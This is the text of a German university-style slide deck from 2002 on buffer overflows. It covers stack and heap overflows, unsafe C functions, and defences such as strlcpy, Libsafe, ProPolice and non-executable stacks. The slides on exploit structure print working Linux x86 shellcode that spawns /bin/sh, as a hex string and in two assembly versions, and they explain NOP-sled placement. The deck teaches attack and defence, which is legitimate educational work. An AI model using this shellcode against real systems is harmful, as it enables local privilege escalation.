Markus Hennecke Thomas Richter 11.12.2002 Buffer Overflow Markus Hennecke Thomas Richter 11.12.2002
Übersicht Arten der Buffer Overflow Stack Overflow Heap Overflow Programmierfehler und deren Vermeidung Unsichere C-Funktionen Sichere Funktionen am Beispiel strlcpy Möglichkeiten zur Vermeidung von Programmierfehlern
Übersicht Struktur eines Exploits Verhinderung von Buffer Overflow Hinzulinken von Bibliotheken Sprachen wie ADA, JAVA, etc. Änderungen am C-Compiler Performanceänderung vs. Sicherheitsgewinn
Übersicht Betriebssystemdesign Non-Executable Stack Unterstützung durch den Prozessor
Arten des Buffer Overflow Speicherorganisation moderner Rechner
Arten des Buffer Overflow Stack Overflow Typischer Unterprogrammaufruf in C: pushl $3 pushl $2 pushl $1 call function Argumente in umgekehrter Reihenfolge auf den Stack legen IP auf Stack legen und an Adresse von function springen
Arten des Buffer Overflow Stack Overflow Ausführen eines Unterprogramms: Platz für Lokale Variablen schaffen (BP = SP; SP –= benötigte Größe) Programmtext ausführen Stackpointer anpassen RET holt die Rücksprungadresse die das Hauptprogramm auf den Stack legte
Arten des Buffer Overflow Stack Overflow Organisation Lokaler Variablen: Überschreiben von Variablen Überschreiben der Rücksprungadresse Durch überschreiben der Rücksprungadresse kann an eine beliebige Stelle im Speicher gesprungen werden!
Arten des Buffer Overflow Heap Overflow Heap – dyn. allozierter Speicher wächst nach oben( lower Addr higher Addr)
Arten des Buffer Overflow Heap Overflow Überschreiben der Speichergrenze Lösung: Einfügen von canary-values (Stackguard) Überschreiben von Function Pointern Einfügen eigenen Shellcodes Adresse einer bestimmten Funktion nutzen Nutzung der PLT (Procedur Linking Table)
Programmierfehler und ihre Vermeidung unsichere C-Funktionen
Programmierfehler und ihre Vermeidung strlcpy und strlcat größenbegrenztes Stringkopieren Stringabschluß mit „\0“ in Stringgröße einplanen strlcpy kopiert zeichenweise src dst strlcpy gibt total length von src zurück
Struktur eines Exploits Konstruktion des Exploits: Erstellen des benötigten Codes Optimieren des Exploits und Anpassung das System Konstruktion des überlangen Strings Beispiel für Shell-Code: char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b“ “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd“ “\x80\xe8\xdc\xff\xff\xff/bin/sh“;
Struktur eines Exploits Generierung des Codes #include <unistd.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call -0x2f .string \"/bin/sh\" Adresse des Strings unbekannt Null Bytes im Exploit Code Begrenzter Platz für Buffer Overflow
Struktur eines Exploits Optimieren des Exploits jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax call -0x24 .string \"/bin/sh\" Problem: Finden der Adresse des Exploit-Codes Lösung: Puffer mit NOP Befehlen auffüllen Ungefähre Einsprung-adresse
Struktur eines Exploits Fazit Vorgestellter Lösungsansatz nur für Local Root Exploits Komplizierter Aufbau bei Remote-Exploits (Verbiegen von stdin / stdout Interaktive Shell ) Manchmal ungünstige Verhältnisse Probleme mit der Stackgröße Überschriebene Variablen
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Libsafe Erweiterung der libc Schlüsselidee: Puffergröße automatisch absichern Prüfung Speichergröße bei C-Programmen kritischer Punkt Libsafe Festlegung d. MaxBufferSize Ersetzung unsicherer C-Funktionen
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Programmiersprachen die auf Pufferüberläufe achten Laufzeitumgebungen wie JAVA oder Perl (Solange der Interpreter fehlerfrei ist) Runtime-Checks wie in ADA, Pascal, etc. Geschwindigkeitseinbußen gegenüber üblichen C-Compilern
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Stack-Smashing Protection ProPolice Stack-Smashing Protector für den GCC (Version 2.95.3 und 3.2) Implementierung von Buffer Overflow Detection von Hiroaki Etoh (IBM Research Labs) Grundidee StackGuard Geringerer Leistungsverlust als andere Lösungen
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Verfügbarkeit Processor GCC-2.95.3 GCC-3.2 Intel x86 bootstrapped & checked powerpc sparc not tested VAX bootstrapped mips Motolora 68k alpha sparc64
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Ausführungszeiten
Verhindern von Buffer Overflow durch Entwicklungswerkzeuge Ausführungszeiten
Betriebssystemdesign Linux Open Wall Project Linux Kernel Patch Sammlung sicherheitsrelevanter Features Non – Executable - Stack Restricted Links in /temp Restricted FIFO‘s in /temp Restricted /proc Special Handling of fd 0, 1 und 2 Einschränkung RLIMIT_NPROC
Betriebssystemdesign Linux Einschränkung Speichergröße je Prozess Privilegierte IP-Aliases Problem Webhoster mit Shell/CGI- Access
Betriebssystemdesign Prozessoreigenschaften Unterstützung durch den Prozessor bzw die MMU Stackseiten werden als Non-Executable markiert Code-Seiten sind als nicht Veränderbar markiert Heap sollte auch Non-Executable sein, Limitierungen in aktuellen Prozessoren
Betriebssystemdesign Prozessoreigenschaften Umgehung von Non-Executable Beschränkungen durch Sprünge in legale Code Bereiche möglich Erschwerung der Entwicklung eines sinnvollen Exploits Sicherheitsprobleme bei GUI-Implementierung im OS
Quellen http://www.kes.info/_archiv/_onlinearch/01-05-6-overflow.htm http://www.insecure.org/stf/smashstack.txt http://www.heise.de/ct/01/23/216/ http://www.w00w00.org/files/articles/heaptut.txt http://www.openwall.org/ http://www.avayalabs.com/project/libsafe/doc/whitepaper-20.pdf http://www.avayalabs.com/project/libsafe/doc/libsafe.pdf A Buffer Overflow Study - Attacks & Defenses by Pierre-Alain FAYOLLE, Vincent GLAUME